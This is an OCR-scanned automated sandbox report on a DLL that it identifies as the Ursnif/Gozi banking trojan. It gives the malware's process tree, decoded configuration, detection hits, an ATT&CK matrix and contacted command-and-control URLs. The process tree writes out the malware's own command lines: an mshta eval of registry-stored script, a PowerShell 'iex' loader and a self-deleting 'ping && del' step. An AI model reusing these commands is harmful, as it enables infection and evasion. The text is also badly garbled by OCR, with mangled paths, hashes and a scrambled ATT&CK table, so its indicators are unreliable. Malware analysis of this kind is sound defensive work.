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Analysis Report Securitelnfo.com.Generic.mg.81f401de...
Overview

General Information Detection Classification

Sample Securitelnfo.com.Generic.

Name: mg.81f401defa8faaze.142 F MALICIOUS 1

95 (renamed file extension
from 14295 to dll)

Detected Gozi e-Banking trojan
Found malware configuration

Analysis ID: 343096 Malicious sample detected (through ...

MDS: 81f401defa8faa2... Multi AV Scanner detection for doma...
SHAL: bddb75a5aa6ed1.. Multi AV Scanner. detection for subm...
SHAZ256: 74cc533238ae33..

Sigma detected: Dot net compiler

Most interesting Screenshot:

Yara detected Ursnif

Changes memory attributes in foreig...

Gozi Ursn Compiles code for process injection; ...
100

Score: Creates a thread in another. existing ...
Range: 0-100 Disables SPDY (HTTP compression...
Whitelisted: false

Hooks registry keys query functions...
Confidence: 100% Yty M=y sty

Injects code into the Windows Explo...

w
«Q
>
2
(=
=
®
(7]

o

S

Startup

= System is w10x64

e B loaddli32.exe (PID: 6000 cmdline: loaddll32.exe 'C:\Users\user\Desktop\Securitelnfo.com.Generic.mg.81f401defa8faa2e.dll' MD5: 2D39D4DFDESF7151723794029AB8A034)
o W regsvr32.exe (PID: 2628 cmdline: regsvr32.exe /s C:\Users\user\Desktop\Securitelnfo.com.Generic.mg.81f401defasfaa2e.dll MD5: 426E7499F6A7346F0410DEAD0O805586B)
5 control.exe (PID: 1576 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
. D rundll32.exe (PID: 3524 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
cmd.exe (PID: 4828 cmdline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
. @ iexplore.exe (PID: 4112 cmdline: C:\Program Files\Internet Exploreniexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8SAC5E7596)
. @ iexplore.exe (PID: 6076 cmdline: 'C:\Program Files (x86)\Internet ExploreIEXPLORE.EXE' SCODEF:4112 CREDAT:17410 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 5620 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:4112 CREDAT:82962 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 6156 cmdline: 'C:\Program Files (x86)\Internet ExploreIEXPLORE.EXE' SCODEF:4112 CREDAT:82970 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 4700 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:4112 CREDAT:17432 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. mshta.exe (PID: 5960 cmdline: 'C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>resize To(1,1);eval(new ActiveXObject("WScript.Shell').regread('HKCU\\\Softwa
re\AppDataLow\\Software\\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550\\Actidsrv'));if('window.flag)close()</script>' MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
o E¥ powershell.exe (PID: 6988 cmdline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Soft
ware\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550'").basebapi)) MD5: 95000560239032BC68B4C2FDFCDEF913)
conhost.exe (PID: 5112 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e W csc.exe (PID: 5336 cmdline: 'C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\usen\AppData\Local\Temp\fcanujkk\fcanujk
k.cmdline’ MD5: B46100977911A0C9FB1C3E5F16A5017D)
e W] cvtres.exe (PID: 5304 cmdline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user

\AppData\Loca\Temp\RES352.tmp' ‘c:\Users\user\AppData\Local\Temp\fcanujkk\CSC3173F20A33D44EE3A49D2AFD78COE6C5. TMP' MD5:
33BBBBEOB4F547324D93D5D2725CAC3D)

e B csc.exe (PID: 5696 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\m5xmn4
3s\m5xmn43s.cmdline’ MD5: B46100977911A0C9FB1C3E5F16A5017D)
e W] cvtres.exe (PID: 7156 cmdline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user

\AppData\Local\Temp\RES1BBC.tmp' ‘c:\Users\user\AppData\Local\Temp\m5xmn43s\CSCBE8D23AB53C749FF947299C54732EF79.TMP' MD5:
33BBBBEOB4F547324D93D5D2725CAC3D)

o W explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BABOE1D)
o i cmd.exe (PID: 6380 cmdline: 'C:\Windows\System32\cmd.exe' /C ping localhost -n 5 && del 'C:\Users\user\Desktop\Securitelnfo.com.Generic.mg.81f401defasfaa2e.dl
I' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
. conhost.exe (PID: 4824 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [B PING.EXE (PID: 5984 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)

= cleanup

Malware Configuration
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Threatname: Ursnif

{
"server": "730",
"os": "10.0_0_17134_x64",
"version": "250171",
"uptime”: "401",
"system": "ad51e028b41086c1a9f4c3463eb17f2ehh",
"size": "201292",
"ere": 2",
"action": "0000COOO",
"id": "3300",
"time": "1611307439",
"user": "902d52678695dc15e71ab15cd837ada4",
"hash": "Oxa6ea74ae”,
"soft": "3"
}

Yara Overview

Memory Dumps

Source Rule
00000002.00000003.860537429.0000000005828000.00000  JoeSecurity_Ursnif
004.00000040.sdmp
00000002.00000003.860574233.0000000005828000.00000  JoeSecurity_Ursnif
004.00000040.sdmp
00000002.00000003.860667381.0000000005828000.00000  JoeSecurity_Ursnif
004.00000040.sdmp
00000002.00000003.860601592.0000000005828000.00000  JoeSecurity_Ursnif
004.00000040.sdmp
00000002.00000003.860502446.0000000005828000.00000  JoeSecurity_Ursnif
004.00000040.sdmp

Description Author Strings
Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Click to see the 12 entries

Sigma Overview

System Summary:

Sigma detected: Dot net compiler compiles file from suspicious location

Signature Overview

Copyright null 2021
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@ Click to jump to signature section

AV Detection:

=

Found malware configuration
Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Compliance:

‘]

Uses new MSVCR DlIs
Uses secure TLS version for HTTPS connections

Binary contains paths to debug symbols

:

Networking:

]‘

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

]

E-Banking Fraud:

Detected Gozi e-Banking trojan

Yara detected Ursnif

System Summary:

Malicious sample detected (through community Yara rule)

]

Data Obfuscation:

]

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Malware Analysis System Evasion:

HIPS | PFW | Operating System Protection Evasion: | |
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Stealing of Sensitive Information:

Yara detected Ursnif

Remote Access Functionality: | |

Yara detected Ursnif

Mitre Att&ck Matrix

Privilege Credential Lateral Com
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection  Exfiltration and (
Valid Windows DLL Side-  DLL Side- Obfuscated Filesor  Credential = System Time Remote Archive Exfiltration Over Other  Ingre
Accounts Management Loading Loading Information API Discovery Services Collected Network Medium Trans
Instrumentation Hooking Data
Default Native API Valid Valid Software Packing Input Account Discovery Remote Email Exfiltration Over Encry
Accounts Accounts g§ Accounts Capture Desktop Collection g Bluetooth Chan
Protocol
Domain Command and Logon Script Access Token DLL Side-Loading Security File and Directory SMB/Windows Credential ~ Automated Exfiltration Non-
Accounts Scripting (Windows)  Manipulation Account Discovery Admin Shares API Appli
Interpreter Manager Hooking Layel
Proto
Local PowerShell Logon Script Process Rootkit NTDS System Information Distributed Input Scheduled Transfer Appli
Accounts (Mac) Injection Discovery Component  Capture Layel
Object Model Proto
Cloud Cron Network Network Logon  Masquerading LSA Query Registry SSH Keylogging Data Transfer Size Fallbi
Accounts Logon Script Script Secrets Limits Chan
Replication Launchd Rc.common Rc.common Valid Accounts Cached Security Software VNC GUI Input Exfiltration Over C2 Multit
Through Domain Discovery Capture Channel Comi
Removable Credentials
Media
External Scheduled Task  Startup Startup Items Access Token DCSync Virtualization/Sandbox Windows Web Portal  Exfiltration Over Comi
Remote Items Manipulation Evasion Remote Capture Alternative Protocol Used
Services Management
Drive-by Command and Scheduled  Scheduled Virtualization/Sandbox Proc Process Discovery Shared Credential  Exfiltration Over Applir
Compromise  Scripting Task/Job Task/Job Evasion Filesystem Webroot API Hooking Symmetric Encrypted Layel
Interpreter Non-C2 Protocol
Exploit Public- PowerShell At (Linux) At (Linux) Process letc/passwd Application Window  Software Data Staged Exfiltration Over Web
Facing Injection and Discovery Deployment Asymmetric Encrypted
Application letc/shadow Tools Non-C2 Protocol
Supply Chain  AppleScript At At (Windows) Regsvr32 Network System Owner/User ~ Taint Shared Local Data  Exfiltration Over File T
Compromise (Windows) Sniffing Discovery Content Staging Unencrypted/Obfuscated Proto
Non-C2 Protocol
Compromise  Windows Cron Cron RundlI32 Input Remote System Replication Remote Exfiltration Over Mail |
Software Command Shell Capture Discovery Through Data Staging Physical Medium
Dependencies Removable
and Media
Development
Tools
Compromise  Unix Shell Launchd Launchd Rename System Keylogging System Network Component  Screen Exfiltration over USB DNS
Software Utilities Configuration Object Model  Capture
Supply Chain Discovery and
Distributed
COM
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Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

No bigger version No bigger version No bigger version No bigger version No bigger version
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A https://vewvemsn.com/de-chitacidzichp ~ @ & || Search...

A MSN Schweiz | Sign in Hot...

Microsoft tritt fiir den Schutz lhrer Privatsphdre ein.

Microsoft und unsere Drittanbieter verwenden Cookies, um Informationen wie eindeutige IDs zu speichern und darauf zuzugreifen,
sodass unsere Dienste und Werbeanzeigen bereitge: verwaltet und verbessert werden kannen. n Sie zustimmen,
personalisieren MSN die angezeigten Inhalte und Al en. Sie konnen ‘Akzeptieren’ auswahlen, um dieser Verwendung
Zuzustimmen, oder auf ‘Zwecke anzeigen® Klicken, um Ihre Optionen zu iiberpriifen. Sie kénnen Ihre Auswahl unter ‘Einstellungen
verwalten' unten auf dieser Seite 4ndem. Datenschutzerkidrung.

‘Wir und unsere Partner verarbeiten Daten, um Folgendes bereitzustellen:

Genaue Standortdaten verwenden. Gerateeigenschaften zur Identifikation aktiv abfragen. Informationen auf einem Gerat speichern
und/oder abrufen. Personalisierte Anzeigen und Inhalte, Anzeigen- und Inhaltsmessung, Erkenntnisse Giber Zielgruppen und
Produktentwicklung.

Akzep

Zwecke anzeigen

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
Securitelnfo.com.Generic.mg.81f401defa8faa2e.dll 34% Virustotal Browse
Securitelnfo.com.Generic.mg.81f401defa8faa2e.dIl 25% ReversingLabs Win32.Trojan.Ursnif

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
tls13.taboola.map.fastly.net 0% Virustotal Browse
c56.lepini.at 8% Virustotal Browse
URLs

Source Detection Scanner Label Link
hitp://www.mercadolivre.com.br/ 0% URL Reputation safe
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https://www.virustotal.com/gui/file/74cc533238ae33245519b52784db0e6adbd3380b350717fdc69d4e36714173d5/detection/f-74cc533238ae33245519b52784db0e6adbd3380b350717fdc69d4e36714173d5-1611305117
https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1609243559
https://www.virustotal.com/gui/url/e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e/detection/u-e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e-1611113672

Source Detection Scanner Label Link

hitp://www.mercadolivre.com.br/ 0% URL Reputation safe
hitp://www.mercadolivre.com.br/ 0% URL Reputation safe
hitp://www.merlin.com.pl/favicon.ico 0% URL Reputation safe
hitp://www.merlin.com.pl/favicon.ico 0% URL Reputation safe
hitp://www.merlin.com.pl/favicon.ico 0% URL Reputation safe
hitp://www.dailymail.co.uk/ 0% URL Reputation safe
hitp://iwww.dailymail.co.uk/ 0% URL Reputation safe
hitp://iwww.dailymail.co.uk/ 0% URL Reputation safe
hitp://constitution.org/usdeclar.txtC: 0% Avira URL Cloud safe
http:/f 0% Avira URL Cloud safe
api3.lepini.at/apil/qid4UkFjrmJwDqvluGoy3/ _2BUJEVRCzS4dgw_/2BQScQk8a3HbiWi/d_2FOUrdxgv_2

FzZWHk

hitp://iwww.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://iwww.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://iwww.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe
hitp://busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe
hitp://busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/favicon.ico 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/favicon.ico 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/favicon.ico 0% URL Reputation safe
hitp://it.search.dada.net/favicon.ico 0% URL Reputation safe
hitp://it.search.dada.net/favicon.ico 0% URL Reputation safe
hitp://it.search.dada.net/favicon.ico 0% URL Reputation safe
hitp://search.hanafos.com/favicon.ico 0% URL Reputation safe
hitp://search.hanafos.com/favicon.ico 0% URL Reputation safe
hitp://search.hanafos.com/favicon.ico 0% URL Reputation safe
hitp://cgi.search.biglobe.ne.jp/favicon.ico 0% Avira URL Cloud safe
hitp://search.msn.co.jp/results.aspx?q= 0% URL Reputation safe
hitp://search.msn.co.jp/results.aspx?q= 0% URL Reputation safe
hitp://search.msn.co.jp/results.aspx?q= 0% URL Reputation safe
http:/f 0% Avira URL Cloud safe
apil0.laptok.at/apil/CVkO0Ytal500rIFRU/dT4qwboWJixM/ID45ufaeNnl/cacgVxu7PaX2PX/1lYOIQMGvn

km47

hitp://buscar.ozu.es/ 0% Avira URL Cloud safe
hitp://https://bealion.com/politica-de-cookies 0% URL Reputation safe
hitp://https://bealion.com/politica-de-cookies 0% URL Reputation safe
hitp://https://bealion.com/politica-de-cookies 0% URL Reputation safe
hitp://search.auction.co.kr/ 0% URL Reputation safe
hitp://search.auction.co.kr/ 0% URL Reputation safe
hitp://search.auction.co.kr/ 0% URL Reputation safe
hitp://www.pchome.com.tw/favicon.ico 0% URL Reputation safe
hitp://www.pchome.com.tw/favicon.ico 0% URL Reputation safe
hitp://www.pchome.com.tw/favicon.ico 0% URL Reputation safe
hitp://browse.guardian.co.uk/favicon.ico 0% URL Reputation safe
hitp://browse.guardian.co.uk/favicon.ico 0% URL Reputation safe
hitp://browse.guardian.co.uk/favicon.ico 0% URL Reputation safe
hitp://google.pchome.com.tw/ 0% URL Reputation safe
hitp://google.pchome.com.tw/ 0% URL Reputation safe
hitp://google.pchome.com.tw/ 0% URL Reputation safe
hitp:/fiwww.ozu.es/favicon.ico 0% Avira URL Cloud safe
hitp://search.yahoo.co.jp/favicon.ico 0% URL Reputation safe
hitp://search.yahoo.co.jp/favicon.ico 0% URL Reputation safe
hitp://search.yahoo.co.jp/favicon.ico 0% URL Reputation safe
hitp://iwww.gmarket.co.kr/ 0% URL Reputation safe
hitp://iwww.gmarket.co.kr/ 0% URL Reputation safe
hitp://iwww.gmarket.co.kr/ 0% URL Reputation safe
hitp://www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://https://channelpilot.co.uk/privacy-policy 0% URL Reputation safe
hitp://https://channelpilot.co.uk/privacy-policy 0% URL Reputation safe
hitp://https://channelpilot.co.uk/privacy-policy 0% URL Reputation safe
hitp://https://onedrive.live.com;OneDrive-App 0% Avira URL Cloud safe
hitp://search.orange.co.uk/favicon.ico 0% URL Reputation safe
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Source Detection Scanner Label Link
hitp://search.orange.co.uk/favicon.ico 0% URL Reputation safe
hitp://search.orange.co.uk/favicon.ico 0% URL Reputation safe
hitp://iwww.iask.com/ 0% URL Reputation safe
hitp://iwww.iask.com/ 0% URL Reputation safe
hitp://iwww.iask.com/ 0% URL Reputation safe
hitp://service2.bfast.com/ 0% URL Reputation safe
hitp://service2.bfast.com/ 0% URL Reputation safe
hitp://service2.bfast.com/ 0% URL Reputation safe
hitp://www.news.com.au/favicon.ico 0% URL Reputation safe
hitp://www.news.com.au/favicon.ico 0% URL Reputation safe
hitp://www.news.com.au/favicon.ico 0% URL Reputation safe
hitp:/fiwww.kkbox.com.tw/ 0% URL Reputation safe
hitp:/fiwww.kkbox.com.tw/ 0% URL Reputation safe
hitp:/fiwww.kkbox.com.tw/ 0% URL Reputation safe
hitp://search.goo.ne.jp/favicon.ico 0% URL Reputation safe
hitp://search.goo.ne.jp/favicon.ico 0% URL Reputation safe
hitp://search.goo.ne.jp/favicon.ico 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/ 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/ 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/ 0% URL Reputation safe
hitp:/fwww.amazon.co.uk/ 0% URL Reputation safe
hitp:/fwww.amazon.co.uk/ 0% URL Reputation safe
hitp:/fwww.amazon.co.uk/ 0% URL Reputation safe
hitp://www.ashargalawsat.com/favicon.ico 0% URL Reputation safe
hitp://www.ashargalawsat.com/favicon.ico 0% URL Reputation safe
hitp://www.ashargalawsat.com/favicon.ico 0% URL Reputation safe
hitp://search.ipop.co.kr/ 0% URL Reputation safe
hitp://search.ipop.co.kr/ 0% URL Reputation safe
hitp://search.ipop.co.kr/ 0% URL Reputation safe
Domains and IPs
Contacted Domains
Name P Active Malicious Antivirus Detection Reputation
contextual.media.net 104.84.56.24 true false high
tls13.taboola.map.fastly.net 151.101.1.44 true false e 0%, Virustotal, Browse unknown
hblg.media.net 104.84.56.24 true false high
D O 7 ™ S = ==
Ig3.media.net 104.84.56.24 true false high
resolverl.opendns.com 208.67.222.222 true false high
api3.lepini.at 45.138.24.6 true false unknown
apil0.laptok.at 45.138.24.6 true false unknown
web.vortex.data.msn.com unknown unknown false high
Wwww.msh.com unknown unknown false high
srth.msn.com unknown unknown false high
e 7 = 00 ™ S Oy e
cvision.media.net unknown unknown false high
URLs from Memory and Binaries
Name Source Malicious Antivirus Detection Reputation
hitp://search.chol.com/favicon.ico explorer.exe, 00000024.0000000 false high
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp
hitp://www.mercadolivre.com.br/ explorer.exe, 00000024.0000000 false e URL Reputation: safe unknown
0.976858944.0000000006BC3000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://www.merlin.com.pl/favicon.ico explorer.exe, 00000024.0000000 false e URL Reputation: safe unknown
0.976858944.0000000006BC3000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://www.dailymail.co.uk/ explorer.exe, 00000024.0000000 false e URL Reputation: safe unknown
0.976858944.0000000006BC3000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe

Copyright null 2021
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https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1609243559
https://www.virustotal.com/gui/url/e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e/detection/u-e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e-1611113672

Name

hitp://constitution.org/usdeclar.txtC:

hitp://www.fontbureau.com/designers

hitp://fr.search.yahoo.com/

hitp://in.search.yahoo.com/

http:/f
api3.lepini.at/apil/qid4UkFjrmJwDqvluGoy3/_2BUJEVRCzS4
dgw_/2BQScQk8a3Hbiwi/d_2FOUrdxgv_2FzWHk

hitp://img.shopzilla.com/shopzilla/shopzilla.ico

hitp://https://res-
a.akamaihd.net/__media__/pics/8000/72/941/fallbackl.jpg

hitp://https://www.onenote.com/notebooks?
WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn

hitp://\www.galapagosdesign.com/DPlease

hitp://msk.afisha.ru/

hitp:/fiwww.reddit.com/

hitp://busca.igbusca.com.br//app/static/images/favicon.ico

hitp://https://sp.booking.com/index.html?
aid=1589774&label=travelnavlink

hitp:/fiwww.ya.com/favicon.ico

hitp:/fiwww.etmall.com.tw/favicon.ico

hitp://it.search.dada.net/favicon.ico

hitp://search.hanafos.com/favicon.ico

hitp://https://www.msn.com/de-ch/news/other/auto-der-
milit%c3%adrpolizei-kollidiert-mit-tram/ar-BB1cZe9U?oc

hitp://cgi.search.biglobe.ne.jp/favicon.ico

hitp://https://www.skype.com/go/onedrivepromo.download?
cm_mmc=MSFT_2390_MSN-com

hitp://search.msn.co.jp/results.aspx?q=

http:/f
apil0.laptok.at/apil/CVkO0Ytal500rIFRU/dT4qwboWJixM/ID4
SufaeNnl/cacgVxu7PaX2PX/1lYOIQMGvnkM47

hitp://buscar.ozu.es/

hitp://https://bealion.com/politica-de-cookies

hitp://https://www.msn.com/de-ch

hitp:/f/www.microsofttranslator.com/BVPrev.aspx?
ref=IE8Activity

hitp:/fiwww.ask.com/

Copyright null 2021

Source

regsvr32.exe, 00000002.0000000
2.998924828.0000000005FA0000.0
0000040.00000001.sdmp, powersh
ell.exe, 0000001A.00000003.945
623628.000001E7C36E0000.000000
04.00000001.sdmp, explorer.exe,
00000024.00000002.1049878498
.0000000004DDE000.00000004.000
00001.sdmp

explorer.exe, 00000024.0000000
0.982794050.000000000B970000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
2.1048815971.0000000004710000.
00000004.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

~DFFF48C403FABCBE81.TMP.4.dr

85-0f8009-68ddb2abl[1].js.5.dr

explorer.exe, 00000024.0000000
0.982794050.000000000B970000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

msapplication.xml4.4.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

de-ch[1].htm.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

de-ch[1].htm.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

85-0f8009-68ddb2abl[1].js.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

{92E377B0-5C93-11EB-90EB-ECF4B
BEA1588}.dat.4.dr, ~DF52531A3C
B90001E8.TMP.4.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

iab2Data[1].json.5.dr

de-ch[1].htm.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e URL Reputation:
e URL Reputation:

3

URL Reputation:

e URL Reputation:
e URL Reputation:

3

URL Reputation:

e URL Reputation:
e URL Reputation:

3

URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

3

Avira URL Cloud:

e URL Reputation:
e URL Reputation:

3

3

3

URL Reputation:

Avira URL Cloud:

Avira URL Cloud:

e URL Reputation:
e URL Reputation:

3

URL Reputation:

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe

safe
safe
safe

safe

safe

safe
safe
safe

Reputation

unknown

high

high

high

unknown

high

high

high

unknown

high

high

unknown

high

high

unknown

unknown

unknown

high

unknown

high

unknown

unknown

unknown

unknown

high
high

high
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Name

hitp:/fiwww.google.it/

hitp://search.auction.co.kr/

hitp:/fiwww.amazon.de/

hitp://sads.myspace.com/

hitp://www.pchome.com.tw/favicon.ico

hitp://browse.guardian.co.uk/favicon.ico

hitp://google.pchome.com.tw/

hitp://list.taobao.com/browse/search_visual.htm?n=15&q=

hitp://www.rambler.ru/favicon.ico

hitp://https://onedrive.live.com/?qt=mru;OneDrive-App

hitp://https://www.skype.com/de

hitp://uk.search.yahoo.com/

hitp:/fiwww.ozu.es/favicon.ico

hitp://search.sify.com/

hitp://openimage.interpark.com/interpark.ico

hitp://search.yahoo.co.jp/favicon.ico

hitp://iwww.gmarket.co.kr/

hitp://\www.founder.com.cn/cn/bThe

hitp://search.nifty.com/

hitp://https://onedrive.live.com/?
wt.mc_id=0o_msn_msnhomepage_header

hitp:/fiwww.google.si/

hitp://https://channelpilot.co.uk/privacy-policy

hitp://https://onedrive.live.com;OneDrive-App

hitp://www.soso.com/

hitp://busca.orange.es/

hitp://cnweb.search.live.com/results.aspx?q=

hitp:/fiwww.twitter.com/

hitp://https://office.live.com/start/Excel.aspx?
WT.mc_id=MSN_site;Sway

hitp://auto.search.msn.com/response.asp?MT=

Copyright null 2021

Source

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

85-0f8009-68ddb2abl[1].js.5.dr
85-0f8009-68ddb2abl[1].js.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000
0.982794050.000000000B970000.0
0000002.00000001.sdmp

explorer.exe, 00000024.0000000

0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

de-ch[1].htm.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

iab2Data[1].json.5.dr

85-0f8009-68ddb2abl[1].js.5.dr

explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp
explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp
explorer.exe, 00000024.0000000
0.976858944.0000000006BC3000.0
0000002.00000001.sdmp

msapplication.xml5.4.dr

85-0f8009-68ddb2abl[1].js.5.dr

explorer.exe, 00000024.0000000
0.976375731.0000000006AD0000.0
0000002.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false
false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

Reputation

high

unknown

high

high

unknown

unknown

unknown

high

high

high
